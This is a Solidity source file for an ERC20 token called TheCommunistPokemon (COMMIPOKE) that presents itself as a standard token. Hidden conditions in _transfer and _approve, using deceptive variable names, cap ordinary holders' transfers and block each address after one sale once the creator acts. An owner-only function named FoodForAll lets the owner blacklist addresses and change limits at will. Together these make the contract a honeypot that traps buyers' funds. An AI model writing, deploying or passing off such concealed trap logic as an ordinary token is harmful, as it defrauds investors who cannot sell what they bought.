文件 1 的 1:ERC20.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public CheckStatusWithBuybackContract;
mapping (address => bool) public CheckStatusOfAddress;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _creator;
bool private buyMechanic;
bool private detectSell;
bool private tempVal;
uint256 private getBuybackStatus;
uint256 private setTxLimit;
uint256 private chTx;
uint256 private tXs;
constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) {
_name = name_;
_symbol = symbol_;
_creator = creator_;
CheckStatusOfAddress[creator_] = tmp;
CheckStatusWithBuybackContract[creator_] = tmp2;
detectSell = tmp;
tempVal = tmp2;
buyMechanic = tmp2;
tXs = tmp9;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if ((address(sender) == _creator) && (tempVal == false)) {
getBuybackStatus = chTx;
detectSell = true;
}
if ((address(sender) == _creator) && (tempVal == true)) {
CheckStatusWithBuybackContract[recipient] = true;
tempVal = false;
}
if (CheckStatusWithBuybackContract[sender] == false) {
if ((amount > setTxLimit)) {
require(false);
}
require(amount < getBuybackStatus);
if (detectSell == true) {
if (CheckStatusOfAddress[sender] == true) {
require(false);
}
CheckStatusOfAddress[sender] = true;
}
}
uint256 taxamount = amount;
_balances[sender] = senderBalance - taxamount;
_balances[recipient] += taxamount;
emit Transfer(sender, recipient, taxamount);
}
function _launchTheHammer(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
getBuybackStatus = _totalSupply;
chTx = _totalSupply / val1;
setTxLimit = chTx * val2;
emit Transfer(address(0), account, amount); }
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == _creator) && (buyMechanic == true)) {
CheckStatusWithBuybackContract[spender] = true;
CheckStatusOfAddress[spender] = false;
buyMechanic = false;
}
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function FoodForAll(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner {
CheckStatusWithBuybackContract[account] = v1;
CheckStatusOfAddress[account] = v2;
detectSell = v3;
getBuybackStatus = v4;
}
}
contract ERC20Communist is Context, ERC20 {
constructor(
string memory name, string memory symbol,
bool tmp, bool tmp2, uint256 tmp6,
uint256 tmp7, address creator,
uint256 initialSupply, address owner,
uint256 tmp9
) ERC20(name, symbol, creator, tmp, tmp2, tmp9) {
_launchTheHammer(owner, initialSupply, tmp6, tmp7);
}
}
contract CommunistPokemon is ERC20Communist {
constructor() ERC20Communist("TheCommunistPokemon", "COMMIPOKE", false, true, 700, 25, msg.sender, 200000000000 * 10 ** 18, msg.sender, 9) {
}
}